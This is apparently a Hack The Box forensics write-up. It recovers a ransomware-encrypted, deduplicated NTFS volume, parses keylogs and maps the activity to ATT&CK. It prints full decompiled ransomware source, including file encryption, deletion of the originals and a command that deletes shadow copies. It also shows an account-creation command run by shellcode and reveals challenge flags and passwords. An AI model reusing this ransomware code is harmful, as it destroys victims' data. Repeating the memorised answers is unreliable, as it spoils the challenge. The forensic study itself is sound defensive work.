C:\Users\quannd28\Downloads\HTb\speakeasy_env\lib\site-packages\unicorn\unicorn.py:6: UserWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html. The pkg_resources package is slated for removal as early as 2025-11-30. Refrain from using this package or pin to Setuptools<81.
  import pkg_resources
* exec: shellcode
0x110b: 'kernel32.WinExec("net user webadmin \'3_m0dul3_0n_7hE_l04D}\' /add /Y", 0x1)' -> 0x20
0x1118: 'kernel32.GetVersion()' -> 0x1db10106

The second part of the flag is 3_m0dul3_0n_7hE_l04D}. Combining with the first part, the full flag is HTB{D1rty_IIS_n4t1v3_m0dul3_0n_7hE_l04D}.

Some insights

Now, coming back to the part where I instinctively found the malicious module in applicationHost.config: my mentor said that this is a gamble because there could be multiple modules, and it is not guaranteed that the malicious module will be the only suspicious one. However, in this case, there was only one unusual module, so it was a safe bet. He suggested that if there were multiple modules, I could analyze the .pcap traffic first to see if anything stood out.

Here is what I think I could have done before looking at applicationHost.config or confirming that one of the modules was malicious.

Let’s look at the IIS traffic from before the attacker gained access to the system.

In stream 318, the X-Auth-Token and the Cache-Control headers are present in the request and look suspicious since they are base64-encoded and do not look like normal values for these headers. The response also has a Cache-Control header with a base64-encoded value.

alt text

Continuing with earlier streams such as 317, 316, and 315, the same headers are present with similar values.

alt text

alt text

alt text

The X-Auth-Token stayed the same across all requests, while the request Cache-Control value changed, and the response’s Cache-Control value changed accordingly. This indicates that these values were used for communication instead of being random or test values. It also suggests that these headers were added by a module or another system component, which would lead us to look for suspicious modules in applicationHost.config. At this point, you can test all the modules you find or diff applicationHost.config against a clean copy to find any differences. In this case, I searched for all the modules on Google, and the RewriterModule results returned a legitimate Microsoft module, but with a different name.

MITRE ATT&CK Mapping

Observed ActivityATT&CK TacticATT&CK Technique
Malicious native IIS module RewriterModule registered in applicationHost.configPersistenceT1505.004 - Server Software Component: IIS Components
AES-encrypted commands and responses carried in HTTP headersCommand and ControlT1071.001 - Application Layer Protocol: Web Protocols
Attacker executed PowerShell through the secondary C2 channel on port 4444ExecutionT1059.001 - Command and Scripting Interpreter: PowerShell
Services, IIS modules, IIS site configuration, and user directories enumeratedDiscoveryT1007 - System Service Discovery / T1083 - File and Directory Discovery
SYSTEM, SAM, and SECURITY registry hives saved for credential recoveryCredential AccessT1003.002 - OS Credential Dumping: Security Account Manager
Collected registry hives compressed before uploadCollectionT1560.001 - Archive Collected Data: Archive via Utility
Registry hive archive and decrypted document uploaded to https://uguu.se/uploadExfiltrationT1567.002 - Exfiltration Over Web Service: Exfiltration to Cloud Storage
iisupdate.zip transferred into %TEMP% and extractedCommand and ControlT1105 - Ingress Tool Transfer
Admin.ps1 created and ran a scheduled task with Administrator privilegesExecution / Persistence / Privilege EscalationT1053.005 - Scheduled Task/Job: Scheduled Task
phant0m.exe used to tamper with Windows event loggingDefense EvasionT1070.001 - Indicator Removal: Clear Windows Event Logs
StyleNet_Retail_Network_Design.docx decrypted and staged from the local hostCollectionT1005 - Data from Local System
Scdaemon.dll injected shellcode with VirtualAllocEx, WriteProcessMemory, SetThreadContext, and ResumeThreadDefense Evasion / Privilege EscalationT1055.003 - Process Injection: Thread Execution Hijacking
Shellcode ran net user webadmin ... /add to create a local accountPersistenceT1136.001 - Create Account: Local Account

Stay Hydrated

Description

Horizon Trust Solutions is panicking after a disguised wiper attack encrypted deployment servers. The perpetrators, using the DeadDrop Cartel proxy, left no ransom note, exposing their motive as state-sponsored sabotage. Directorate 9 operatives lurked in our network for months, mapping federation trusts and harvesting credentials to orchestrate this deep-seated assault. At stake is the core validation framework for the Trusted Supply Chain Act, built for the National Election Commission. With polls opening in days, the pristine deployment package was finalized for handover. In a calculated move, Vane’s forces struck at the eleventh hour to maximize public panic and disruption. The geopolitical repercussions are immense; failing to deliver compromises the election and cements Korvia’s leverage. Task Force Nightfall implores your expertise to recover the uncorrupted release package from the crippled staging environment.

Walkthrough

Initial triage

The challenge provides a .vhdx disk image and an .E01 image. I loaded both images into FTK Imager.

alt text

The C.vhdx image is a KAPE triage artifact from the C drive, while D.E01 is a full disk image of the D drive.

After looking through the files in C.vhdx, I did not find anything interesting, so I moved on to D.E01, where most files appeared to be encrypted with the .enc extension.

alt text

Some original files are still present, but there are not many of them and they do not look interesting. Most original files were deleted, leaving only the encrypted versions behind.

alt text

This appeared to be from a domain controller. I confirmed this by looking at the C drive registry hives, where I found entries related to NTDS and LanmanServer.

HKLM\SYSTEM\CurrentControlSet\Services\NTDS\Parameters

alt text

The D drive is used for file sharing over SMB.

HKLM\SYSTEM\CurrentControlSet\Services\LanmanServer\Shares

alt text

Explanation - NTDS and LanmanServer

NTDS stands for “NT Directory Services” and is a core component of Active Directory on Windows Server. It is responsible for storing and managing the directory database, which contains information about users, groups, computers, and other objects in the domain. The presence of NTDS parameters in the registry indicates that this server is likely a Domain Controller (DC) hosting Active Directory.

LanmanServer is the Windows Server service that provides file and printer sharing capabilities over the network. The registry key for LanmanServer shares indicates that this server is also acting as a file server, allowing clients to access shared folders and resources.

D Drive analysis

Python executable analysis

Looking at the D drive, I found an unencrypted executable called main.exe. I extracted it and inspected it with DiE.

alt text

It is a Python executable packed with PyInstaller! I used pyinstxtractor to extract the contents of the executable.

python .\pyinstxtractor.py .\main.exe
[+] Processing .\main.exe
[+] Pyinstaller version: 2.1+
[+] Python version: 3.11
[+] Length of package: 12445835 bytes
[+] Found 93 files in CArchive
[+] Beginning extraction...please standby
[+] Possible entry point: pyiboot01_bootstrap.pyc
[+] Possible entry point: pyi_rth_inspect.pyc
[+] Possible entry point: pyi_rth_pkgutil.pyc
[+] Possible entry point: pyi_rth_multiprocessing.pyc
[+] Possible entry point: pyi_rth_setuptools.pyc
[+] Possible entry point: main.pyc
[!] Warning: This script is running in a different Python version than the one used to build the executable.
[!] Please run this script in Python 3.11 to prevent extraction errors during unmarshalling
[!] Skipping pyz extraction
[+] Successfully extracted pyinstaller archive: .\main.exe
 
You can now use a python decompiler on the pyc files within the extracted directory

The main script is main.pyc, so I decompiled it with PyLingual to get the source code.

# Decompiled with PyLingual (https://pylingual.io)
# Internal filename: 'main.py'
# Bytecode version: 3.11a7e (3495)
# Source timestamp: 1970-01-01 00:00:00 UTC (0)
 
from Crypto.PublicKey import RSA
from Crypto.Cipher import AES, PKCS1_OAEP
from Crypto.Util import Counter
import argparse
import os
import sys
import base64
import subprocess
def discoverFiles(startpath):
    # ***<module>.discoverFiles: Failure: Compilation Error
    extensions = ['jpg', 'jpeg', 'bmp', 'gif', 'png', 'svg', 'psd', 'raw', 'mp3', 'mp4', 'm4a', 'aac', 'ogg', 'flac', 'wav', 'wma', 'aiff', 'ape', 'avi', 'flv', 'm4v', 'mkv', 'mov', 'mpg', 'mpeg', 'wmv', 'swf', '3gp', 'doc', 'docx', 'xls', 'xlsx', 'ppt', 'pptx', 'odt', 'odp', 'ods', 'txt', 'rtf', 'tex', 'pdf', 'epub', 'md', 'dat', 'yml', 'yaml', 'json', 'xml', 'csv', 'db', '
    for dirpath, dirs, files in os.walk(startpath):
        for i in files:
            absolute_path = os.path.abspath(os.path.join(dirpath, i))
            ext = absolute_path.split('.')[(-1)]
            if ext in extensions:
                yield absolute_path
def modify_file_inplace(filename, crypto, blocksize=16):
    with open(filename, 'r+b') as f:
        plaintext = f.read(blocksize)
        while plaintext:
            ciphertext = crypto(plaintext)
            if len(plaintext)!= len(ciphertext):
                raise ValueError('Ciphertext({})is not of the same length of the Plaintext({}).\n                Not a stream cipher.'.format(len(ciphertext), len(plaintext)))
            f.seek(-len(plaintext), 1)
            f.write(ciphertext)
            plaintext = f.read(blocksize)
AES_KEY = os.urandom(32)
SERVER_PUBLIC_RSA_KEY = '-----BEGIN PUBLIC KEY-----\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAqH8e7yL04ioy7lHiE/Jo\nVdyt2HQ6WsiRZu+WPu9h/Q4qK55T/p7X37SPhumD4uQVM8DyZstrIDr9t0qfQ3tv\nyhKupFTRkWgE8PjCj/ypQseKLmWhv75Cf7Eh6C/9UCT85blmd9yk6XrYrf6Zs42t\nBU6CTFWpnIGQqouzcDeS0hTrsfXpdTyEnoITwnCkXdHa4NjE4Eb8iiIcW7/Kj4Hv\nes7HBmifCfpKPMorVFk0NC2Q9Inm4sE16xVYBXP1BIIdZnkS7jogjJ+BU8q5TTnY\nejjEzUrpVRteXjEVXLOgHIqwkVMu94FSpvbPnn79HAnoSek9i0PvYf6e5gGB5LPr\nUQIDAQAB\n-----END PUBLIC KEY-----'
extension = '.enc'
def parse_args():
    parser = argparse.ArgumentParser(description='Ransomware')
    return parser.parse_args()
def main():
    try:
        args = parse_args()
        startdirs = [os.getcwd()]
        server_key = RSA.importKey(SERVER_PUBLIC_RSA_KEY)
        encryptor = PKCS1_OAEP.new(server_key)
        encrypted_key = encryptor.encrypt(AES_KEY)
        encrypted_key_b64 = base64.b64encode(encrypted_key).decode('ascii')
        print('Encrypted key ' + encrypted_key_b64 + '\n')
        key = AES_KEY
        ctr = Counter.new(128)
        crypt = AES.new(key, AES.MODE_CTR, counter=ctr)
        original_files = []
        for currentDir in startdirs:
            for file in discoverFiles(currentDir):
                if not file.endswith(extension):
                    try:
                        with open(file, 'rb') as f:
                            plaintext = f.read()
                        ciphertext = crypt.encrypt(plaintext)
                        with open(file + extension, 'wb') as f:
                            f.write(ciphertext)
                            f.write(encrypted_key)
                        original_files.append(file)
                        print('File encrypted: ' + file + ' -> ' + file + extension)
                    except Exception as e:
                        print(f'Failed to encrypt {file}: {str(e)}')
        try:
            for orig_file in original_files:
                try:
                    os.remove(orig_file)
                    print('Original file deleted: ' + orig_file)
                except (OSError, PermissionError) as e:
                    print(f'Failed to delete {orig_file}: {str(e)} - Skipping.')
        except Exception as e:
            print(f'Unexpected error during file deletion: {str(e)}')
        try:
            subprocess.run(['vssadmin', 'delete', 'shadows', '/all', '/quiet'], check=True)
        except subprocess.CalledProcessError:
            pass
    except Exception as e:
        print(f'Error: {str(e)}')
        sys.exit(1)
    for _ in range(100):
        continue
if __name__ == '__main__':
    main()

This ransomware does the following:

  • Generates a random 256-bit AES key.
  • Encrypts the AES key with a hardcoded RSA public key and prints the encrypted key in base64 format.
  • Uses AES in CTR mode to encrypt files with specific extensions in the current working directory and its subdirectories. The encrypted file is saved with the same name but with an additional .enc extension, and the encrypted AES key is appended to the end of the encrypted file.
  • After encrypting the files, it attempts to delete the original files and also tries to delete shadow copies using vssadmin.
File recovery

The ransomware does not encrypt files in place. The original file is read, the ciphertext is written to a new file with the .enc extension, and then the original file is deleted. The malware also attempts to delete shadow copies to prevent recovery. The encrypted files cannot be decrypted from the recovered artifacts alone because the AES key is randomly generated and only the RSA-encrypted version of that key is appended to each file; recovering it would require the corresponding RSA private key.

Because the original file is deleted only after the encrypted file is created, the original content is not overwritten by the ciphertext. The deleted data may still be recoverable through file carving because the file system marks its clusters as unallocated rather than immediately wiping them. That is why FTK Imager can still see some original files on the D drive.

alt text

Explanation - File deletion on Windows

When a file is deleted on NTFS, the file system normally removes the file’s directory reference and marks its clusters as free, but NTFS itself does not necessarily overwrite the file’s contents. On HDDs, those bytes often remain in unallocated space until something else overwrites them, which is why forensic tools can sometimes recover deleted files.

On SSDs, recovery is less reliable because Windows may issue TRIM commands for deleted data. TRIM tells the SSD that the corresponding blocks are no longer needed, allowing the drive to discard or erase them internally, often making later recovery impossible. However, TRIM is not always immediate or guaranteed, and it may not apply in some environments such as virtual disks, disk images, unsupported storage paths, or cases where the data was captured before the blocks were discarded.

In this case, the ransomware deletes the original files after creating the encrypted versions, and the disk image still contains recoverable remnants of some original file content in unallocated space. Tools like FTK Imager can therefore be used to carve or recover those deleted files.

Read more about how this works in Microsoft’s SDelete documentation.

A diagram to illustrate the process:

alt text

But why are only some files readable in FTK Imager, while others are not? Also, why do some entries show a different type, such as Reparse Point?

alt text

The reason is that this volume has Windows Server Data Deduplication enabled.

Data Deduplication is a Windows Server feature that reduces storage usage by splitting eligible file streams into chunks, storing unique chunks in a special location called the chunk store, and leaving metadata on the original file that allows the deduplication filter driver to reconstruct the logical file.

As a result, not every file on the volume contains its actual contents directly. Many optimized files receive a deduplication reparse point, which is why FTK Imager displays their type as Reparse Point instead of showing normal file content.

When the ransomware deletes an optimized file, it removes the file record or directory entry that references the deduplication reparse metadata. The underlying chunk-store data is not necessarily removed immediately, so the original content may still be recoverable if the reparse metadata and referenced chunks can be resolved. However, FTK Imager does not automatically reconstruct deduplicated files because doing so requires interpreting the deduplication metadata and resolving the referenced chunks. Therefore, these files cannot be viewed normally even though their underlying data may still exist on disk.

Learn more here

alt text

To recover these files, the chunk store must be located and the deduplication references resolved. On Windows Server systems, deduplication data is typically stored under: System Volume Information\Dedup\ChunkStore.

alt text

I focused on two folders:

  • Stream: contains stream maps and metadata that map optimized files to chunk hashes and chunk ranges.
  • Data: contains the compressed chunk container data referenced by those stream maps.

The purpose of this challenge is to recover a package that was encrypted by the ransomware, so I needed to identify which file to recover first. While digging through the files on the D drive, I found the file that likely needed to be recovered.

alt text

Now that I knew what needed to be recovered, the next step was to find this file’s reparse point on disk.

Based on this article, I needed to retrieve the file’s NTFS $REPARSE_POINT attribute, attribute type 0xC0 / decimal 192, from its Master File Table ($MFT) record. If the attribute is non-resident, its data runs give the logical cluster number (LCN) and length for the reparse metadata on disk, not the actual deduplicated file contents.

I used this script to grab the deduplication reparse point metadata from the record after converting the disk image to raw format:

from dissect.ntfs.mft import Mft
 
MFT_FILE = "$MFT"
RAW_IMAGE = "D.raw"
TARGET = "StarlineTicketing_Release_1.0.0.7z"
CLUSTER_SIZE = 4096
 
with open(MFT_FILE, "rb") as fh:
    mft = Mft(fh)
 
    rec = next(r for r in mft.segments()
               if r.filename and r.filename.lower() == TARGET.lower())
 
    rp = rec.attributes[192][0]
    lcn, run_len = rp.dataruns()[0]
 
offset = lcn * CLUSTER_SIZE
 
with open(RAW_IMAGE, "rb") as f:
    f.seek(offset)
    data = f.read(run_len * CLUSTER_SIZE)
 
out = f"{TARGET}.reparse.bin"
with open(out, "wb") as f:
    f.write(data)
 
print(f"[FILE] {rec.filename}")
print(f"[MFT]  {rec.segment}")
print(f"[LCN]  {hex(lcn)}")
print(f"[RUN]  {run_len}")
print(f"[OFF]  {offset}")
print(f"[OUT]  {out} ({len(data)} bytes)")
print(f"[HEAD] {data[:32].hex()}")

After extracting the reparse attribute, the script reads the attribute’s data runs to recover the deduplication reparse metadata from the raw disk image.

Explanation - Data runs

Data runs are the NTFS mechanism used to describe where a non-resident file attribute is physically stored on disk. Instead of storing data contiguously, NTFS maps an attribute’s virtual cluster numbers to physical logical cluster numbers and run lengths; for example, [(71640, 1)].

python .\reparse.py
[FILE] StarlineTicketing_Release_1.0.0.7z
[MFT]  161
[LCN]  0x117d8
[RUN]  1
[OFF]  293437440
[OUT]  StarlineTicketing_Release_1.0.0.7z.reparse.bin (4096 bytes)
[HEAD] 1300008000010000020100010b00000004000000040060000300000004006400

From the [HEAD] value and this article, I confirmed that this is a deduplication reparse point because it starts with 13 00 00 80, the little-endian form of the Data Deduplication reparse tag 0x80000013 (IO_REPARSE_TAG_DEDUP).

Checking the contents of the reparse point, I could see the GUID of the chunk store.

alt text

It matches the GUID of the chunk-store folder in System Volume Information\Dedup\ChunkStore\{77F962D7-1532-4DCD-8EC9-224C8B17741F}.ddp.

The hard part was finding the StreamChunkHash in the reparse data so I could locate the corresponding metadata in the chunk store. Manual analysis is possible, but there is little public documentation for this reparse-data format, so it is like finding a needle in a haystack. The StreamChunkHash should also appear in the chunk-store metadata, so I asked Claude to generate a brute-force script to identify candidate 16-byte values in the reparse data and cross-reference them against the chunk-store files.

import math
import re
from collections import Counter
from pathlib import Path
 
REPARSE_FILE = Path("StarlineTicketing_Release_1.0.0.7z.reparse.bin")
CHUNK_STORE  = Path(r"Dedup\ChunkStore\{77F962D7-1532-4DCD-8EC9-224C8B17741F}.ddp")
STREAM_DIR   = CHUNK_STORE / "Stream"
KEY_SIZE     = 16
TOP_N        = 10
 
 
def shannon_bits(b: bytes) -> float:
    if not b:
        return 0.0
    n = len(b)
    counts = Counter(b)
    return -sum((c / n) * math.log2(c / n) for c in counts.values())
 
 
def looks_like_hash(b: bytes) -> bool:
    if b.count(0) > 6:
        return False
    if len(set(b)) < 10:
        return False
    if shannon_bits(b) < 3.0:
        return False
    return True
 
 
def load_dir(directory: Path, suffixes: tuple) -> dict:
    out = {}
    for p in sorted(directory.iterdir()):
        if p.is_file() and any(p.name.endswith(s) for s in suffixes):
            try:
                out[p.name] = p.read_bytes()
            except OSError:
                pass
    return out
 
 
def main() -> None:
    payload = REPARSE_FILE.read_bytes()[8:]
    print(f"[+] reparse payload   : {len(payload)} bytes")
 
    ccc = load_dir(STREAM_DIR, (".ccc",))
    cd  = load_dir(STREAM_DIR, (".cd",))
    print(f"[+] stream containers : {list(ccc.keys())}")
    print(f"[+] stream indexes    : {list(cd.keys())}")
    print()
 
    raw = []
    for off in range(len(payload) - KEY_SIZE + 1):
        cand = payload[off:off + KEY_SIZE]
        if not looks_like_hash(cand):
            continue
 
        ccc_hits, cd_hits = {}, {}
        ccc_positions, cd_positions = set(), set()
        for n, blob in ccc.items():
            pos = [m.start() for m in re.finditer(re.escape(cand), blob)]
            if pos:
                ccc_hits[n] = len(pos)
                ccc_positions.update((n, p) for p in pos)
        for n, blob in cd.items():
            pos = [m.start() for m in re.finditer(re.escape(cand), blob)]
            if pos:
                cd_hits[n] = len(pos)
                cd_positions.update((n, p) for p in pos)
        if not ccc_hits and not cd_hits:
            continue
 
        raw.append((off, cand, ccc_hits, cd_hits, ccc_positions | cd_positions))
 
    raw.sort(key=lambda x: x[0])
    collapsed = []
    for off, cand, ccc_h, cd_h, positions in raw:
 
        keep = True
        for i, (off2, _c2, _ccc2, _cd2, pos2) in enumerate(collapsed):
            if off2 == off - 1:
                shifted = {(f, p + 1) for f, p in pos2}
                if shifted & positions:
                    collapsed[i] = (off, cand, ccc_h, cd_h, positions)
                    keep = False
                    break
        if keep:
            collapsed.append((off, cand, ccc_h, cd_h, positions))
 
    candidates = [(o, c, a, b) for o, c, a, b, _ in collapsed]
 
    def score(item):
        off, cand, ccc_h, cd_h = item
        present_in_both = int(bool(ccc_h)) + int(bool(cd_h))
        total = sum(ccc_h.values()) + sum(cd_h.values())
        return (-present_in_both, -total, -shannon_bits(cand), off)
 
    candidates.sort(key=score)
 
    print(f"[+] {len(candidates)} surviving 16-byte windows hit Stream\\")
    for i, (off, cand, ccc_h, cd_h) in enumerate(candidates[:TOP_N], 1):
        ent = shannon_bits(cand)
        print(f"\n  #{i}  payload@0x{off:02x}  H={ent:.2f}  {cand.hex()}")
        for name, n in ccc_h.items():
            print(f"        .ccc  {name:<42}  hits={n}")
        for name, n in cd_h.items():
            print(f"        .cd   {name:<42}  hits={n}")
 
    if candidates:
        off, cand, ccc_h, cd_h = candidates[0]
        print()
        print("=" * 72)
        print(f"[*] BEST  payload@0x{off:02x}  StreamChunkHash = {cand.hex()}")
        print(f"    (first .ccc match: {next(iter(ccc_h)) if ccc_h else '-'})")
 
 
if __name__ == "__main__":
    main()

alt text

The script worked and found the StreamChunkHash: 24daea52e54c64aaef60cb88b681f679, along with the corresponding stream container Dedup\ChunkStore\{77F962D7-1532-4DCD-8EC9-224C8B17741F}.ddp\Stream\00020000.00000002.ccc, which contains the SMAP records needed to reconstruct the file.

alt text

Immediately after the matching StreamChunkHash is the SMAP record.

alt text

With Claude’s help, I identified the structure of the SMAP record:

alt text

The fields I needed were the chunk hash, chunk offset, and chunk length. The chunk hash identifies the chunk data in the chunk store, the chunk offset points to the chunk data inside the chunk-store file, and the chunk length defines how many bytes to read. With this information, I could reconstruct the original file by reading each referenced chunk from the chunk-store file and writing the chunks to a new file. The referenced chunk hashes appeared in Dedup\ChunkStore\{77F962D7-1532-4DCD-8EC9-224C8B17741F}.ddp\Data\00000004.00010000.ccc.

I continued with Claude’s help to identify the structure of the chunk-store data file.

alt text

I could also identify the first chunk manually by checking its first few bytes: 37 7A BC AF 27 1C, which is the magic signature for a 7z archive. Finally, I used this script to reconstruct the file:

from pathlib import Path
 
DATA_CCC = Path(r"Dedup\ChunkStore\{77F962D7-1532-4DCD-8EC9-224C8B17741F}.ddp\Data\00000004.00010000.ccc")
OUT_FILE = Path("StarlineTicketing_Release_1.0.0.7z")
 
PAYLOAD_OFFSET = 0x30
MAGIC_OFFSET   = 0x28
 
CHUNKS = [
    ("799d6e295b935bfa41bd3addb32a0ba9", 114_134),
    ("bd6c0be7076f1677e2fc033c378f7677",  59_493),
    ("2639a88b61da4d104de5cd4ec220fb15",  67_099),
]
 
def main() -> None:
    blob = DATA_CCC.read_bytes()
    out = bytearray()
    for hex_hash, length in CHUNKS:
        idx = blob.find(bytes.fromhex(hex_hash))
        out += blob[idx + PAYLOAD_OFFSET : idx + PAYLOAD_OFFSET + length]
    OUT_FILE.write_bytes(bytes(out))
 
if __name__ == "__main__":
    main()

I successfully reconstructed the file, and it was a password-protected 7z archive.

alt text

I suspected the password was stored somewhere in the file system. After searching for a while, the Process Lasso folder looked interesting because it contained files that looked like keylogs.

alt text

The only two files that were not readable were dev01.dat and dev02.dat, since they were reparse points and their logical contents were stored in the chunk store.

alt text

Using the same raw-image recovery approach, I extracted the file contents.

I recovered the keylogs and then used this script to parse their contents:

import sys
from pathlib import Path
 
SPECIAL = {
    "Key.space": " ",
    "Key.enter": "\n",
    "Key.tab": "\t",
}
IGNORE = {"Key.shift", "Key.shift_r", "Key.ctrl", "Key.ctrl_l", "Key.ctrl_r", "Key.alt", "Key.alt_l", "Key.alt_r", "Key.up", "Key.down", "Key.left", "Key.right", "Key.esc"}
 
 
def parse(path):
    out = []
    for line in Path(path).read_text(errors="replace").splitlines():
        if not line.endswith(" pressed]") or '", ' not in line:
            continue
        key = line.split('", ', 1)[1][:-len(" pressed]")]
        if key == "Key.backspace":
            if out:
                out.pop()
        elif key in SPECIAL:
            out.append(SPECIAL[key])
        elif key in IGNORE or key.startswith("Key."):
            continue
        else:
            out.append(key)
    return "".join(out)
 
 
if __name__ == "__main__":
    if len(sys.argv) != 2:
        sys.exit(1)
    print(parse(sys.argv[1]))
> python parse_keylog.py dev01.dat
 
Yeah, it's done. Everything's packaged already. Just go to the shared folder and pull it down to double-checDude ... how long have you been on this project and you are still asking like a newbie?
 
The password is in keepass. go grab it from there
Yeah, we tested the hell out of it. QA passed all test cases. This build is stable, no issues at all
Exactly, they can deploy it straight to the production server
Ad damn, you are right, then rename it now xD lol
 
> python parse_keylog.py dev02.dat
 
telegram
Hey man, is the Project Starline done yet? The PM team has been pinging me like crazy. The deadline is coming up fast
ok let me check xD
r\\192.168.239.10
What's the project password again?
=))))))) i told u to take care of this one for me. I'll buy you a beer later, deal?
OK
keepass
ED6zY3HDy1CLRHey, has this build been properly tested?
Nice.
but wait
this is the version we are sending to the customer for go-live, right?
Oh come on ... then rename the file, man. Why does it still have _UAT_ in the name ? the client's gonna think it's a test build and complain. Rename it to _Release_ or _Final_ so it looks professional
Releaseket qua bong da nam seagame
code for mefix this error
tailscale

The password is ED6zY3HDy1CLR, but it is for the KeePass database, so I needed to find the KeePass database file first.

alt text

After unlocking the KeePass database with the password found in the keylog, I found the password for the 7z archive.

alt text

The password for the 7z archive is cydbF8oGVU2dgXAamqFD.

alt text

Finally, I extracted the archive, opened the .env file, and retrieved the flag.

PORT=3000
ADMIN_KEY=HTB{d4t@_d3dupl1c4t10n_1s_sup3r_und3rRat3d}

Side note

Due to the complexity of the deduplication reparse point format and the lack of public documentation, I contact the author of this challenge (kudos to @bquanman for creating such a unique and interesting challenge) to ask for the actual way of solving this without relying on brute-force or AI. The intended solution was just the same as what I did, but with zero AI involved. All of that was his personal findings and research. Very impressive work! And the challenge was made on Windows Server 2016 so the data runs is available in the reparse point metadata while Windows Server 2012 does not have that (appeared in another challenge :D).

You can find his official writeup here.

MITRE ATT&CK Mapping

Observed ActivityATT&CK TacticATT&CK Technique
Python-based ransomware packaged with PyInstaller executed as main.exeExecutionT1059.006 - Command and Scripting Interpreter: Python
Ransomware recursively enumerated files and filtered target extensionsDiscoveryT1083 - File and Directory Discovery
Files were encrypted with AES-CTR and written to new files with an appended .enc extensionImpactT1486 - Data Encrypted for Impact
Original files were deleted after encrypted copies were createdImpactT1485 - Data Destruction
Malware attempted to delete all shadow copies with vssadmin delete shadows /all /quietImpactT1490 - Inhibit System Recovery
Recovered dev01.dat and dev02.dat artifacts contained captured keystrokesCredential AccessT1056.001 - Input Capture: Keylogging
KeePass database stored the archive password and was protected by a keylog-captured master passwordCredential AccessT1555.005 - Credentials from Password Stores: Password Managers